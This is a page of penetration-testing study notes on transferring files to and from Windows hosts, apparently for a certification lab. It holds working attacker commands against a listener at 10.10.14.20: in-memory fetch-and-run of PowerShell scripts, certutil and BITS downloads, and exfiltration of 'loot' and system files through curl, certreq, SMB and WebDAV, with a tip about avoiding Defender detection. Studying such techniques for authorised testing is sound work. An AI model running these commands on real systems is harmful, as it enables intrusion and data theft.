Windows Transfers
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
Download with PowerShell or curl.exe over HTTP first. Use SMB when outbound 445 is open, and give the share a username and password. Upload with curl.exe -F to uploadserver, or copy to your SMB share. certutil and bitsadmin work from cmd, but Defender flags certutil downloads.
The servers for each method are in Serving Files.
Download
PowerShell
Save a file to disk:
# download with Invoke-WebRequestInvoke-WebRequest http://10.10.14.20/nc.exe -OutFile C:\Users\Public\nc.exe -UseBasicParsing# download with Net.WebClient(New-Object Net.WebClient).DownloadFile('http://10.10.14.20/nc.exe','C:\Users\Public\nc.exe')iwr and wget are aliases of Invoke-WebRequest. -OutFile saves the response to a file. -UseBasicParsing skips the Internet Explorer engine. Net.WebClient works in every PowerShell version and downloads faster than Invoke-WebRequest.
Run a script in memory, with no copy on disk:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20/PowerView.ps1') # run with Net.WebClient(iwr http://10.10.14.20/PowerView.ps1 -UseBasicParsing).Content | IEX # run with Invoke-WebRequestIEX is the alias of Invoke-Expression. It runs a string as PowerShell code.
| Error | Fix |
|---|---|
Internet Explorer engine is not available |
Add -UseBasicParsing |
| Security prompt about script code in the page, PowerShell 5.1 after December 2025 | Add -UseBasicParsing. The prompt cancels on Enter and hangs a shell with no input |
Could not establish trust relationship for the SSL/TLS secure channel |
Run [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} first. PowerShell 7 takes -SkipCertificateCheck |
Could not create SSL/TLS secure channel |
Run [Net.ServicePointManager]::SecurityProtocol = 'Tls12' first |
curl.exe
Windows 10 1803 and Server 2019 and later include curl.exe:
REM download with curl.execurl.exe -o C:\Users\Public\nc.exe http://10.10.14.20/nc.exeIn Windows PowerShell, curl is an alias of Invoke-WebRequest. Type curl.exe to run the real curl.
SMB
With the Impacket share running, copy the file:
REM copy from the sharecopy \\10.10.14.20\share\nc.exe C:\Users\Public\nc.exeRun a binary from the share, with no copy on disk:
REM run from the share\\10.10.14.20\share\winPEASx64.exeAn error about unauthenticated guest access means Windows blocks guest logins. Start the share with -username and -password, then map it:
REM map the share to n: with a loginnet use n: \\10.10.14.20\share /user:user passREM copy from the mapped drivecopy n:\nc.exe C:\Users\Public\nc.exeREM remove the mappingnet use n: /deleteWindows 11 24H2 and Server 2025 require SMB signing by default. If the authenticated share still fails, use HTTP.
certutil
REM fetch the URL and save itcertutil -urlcache -f http://10.10.14.20/nc.exe C:\Users\Public\nc.exeREM same, through another code pathcertutil -verifyctl -f http://10.10.14.20/nc.exe C:\Users\Public\nc.exeDefender detects certutil downloads as Trojan:Win32/Ceprolad. Use it on hosts without Defender, or when nothing else runs.
BITS
REM download with BITSbitsadmin /transfer job /priority foreground http://10.10.14.20/nc.exe C:\Users\Public\nc.exe# download with BITSStart-BitsTransfer -Source http://10.10.14.20/nc.exe -Destination C:\Users\Public\nc.exejob is a job name of your choice. /priority foreground starts the download at once. The local path must be absolute.
FTP
# download over FTP(New-Object Net.WebClient).DownloadFile('ftp://10.10.14.20/nc.exe','C:\Users\Public\nc.exe')A shell that is not interactive cannot answer the ftp prompts. Write the commands to a file and run it:
REM write the ftp command fileecho open 10.10.14.20> ftp.txtecho USER anonymous>> ftp.txtecho binary>> ftp.txtecho GET nc.exe>> ftp.txtecho bye>> ftp.txtREM run the commands in ftp.txtftp -v -n -s:ftp.txt-n skips the automatic login, so the USER line logs in. -s: reads the commands from the file. binary keeps the bytes of an executable unchanged. There is no space before >, because echo writes that space into the file.
Upload
curl.exe
Send a file to uploadserver:
REM upload the hosts filecurl.exe -F "files=@C:\Windows\System32\drivers\etc\hosts" http://10.10.14.20/uploadPowerShell
PowerShell 7 sends a multipart form itself:
# upload loot.zip as a multipart formInvoke-RestMethod http://10.10.14.20/upload -Method Post -Form @{files = Get-Item C:\Users\Public\loot.zip}Windows PowerShell 5.1 has no -Form. Load the PSUpload.ps1 script and run its upload function:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.20/PSUpload.ps1') # load PSUpload.ps1 in memoryInvoke-FileUpload -Uri http://10.10.14.20/upload -File C:\Users\Public\loot.zip # upload loot.zipKeep a copy of PSUpload.ps1 on your attack host.
Send a file as base64 to a nc listener, with no upload server:
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\Public\loot.zip')) # encode the fileInvoke-WebRequest http://10.10.14.20:8000/ -Method Post -Body $b64 -UseBasicParsing # post it as the bodyOn your attack host, catch the request. Copy the body into a file, then decode it:
nc -lvnp 8000 # print the requestbase64 -d body.b64 > loot.zip # decode the copied bodySMB and WebDAV
Copy a file to your Impacket share:
REM copy to the sharecopy C:\Users\Public\loot.zip \\10.10.14.20\share\When a firewall blocks outbound 445, copy to wsgidav over HTTP:
REM copy to the WebDAV rootcopy C:\Users\Public\loot.zip \\10.10.14.20\DavWWWRoot\DavWWWRoot is a keyword for the root of the WebDAV server. No folder of that name exists. The WebClient service handles these paths. Windows desktop editions include it. Server editions need the WebDAV Redirector feature.
FTP
Start pyftpdlib with -w, then:
# upload the hosts file over FTP(New-Object Net.WebClient).UploadFile('ftp://10.10.14.20/hosts', 'C:\Windows\System32\drivers\etc\hosts')In an ftp command file, use PUT <local file> in place of GET.
LOLBAS
LOLBAS lists Windows binaries with hidden download and upload functions. Search /download or /upload on the site.
certreq posts a file to any URL. Catch it on your attack host:
nc -lvnp 8000 # print the requestPost the file from the target:
REM post win.ini to the listenercertreq -Post -config http://10.10.14.20:8000/ C:\Windows\win.iniThe file content arrives as the request body. It suits text files. An old certreq has no -Post option.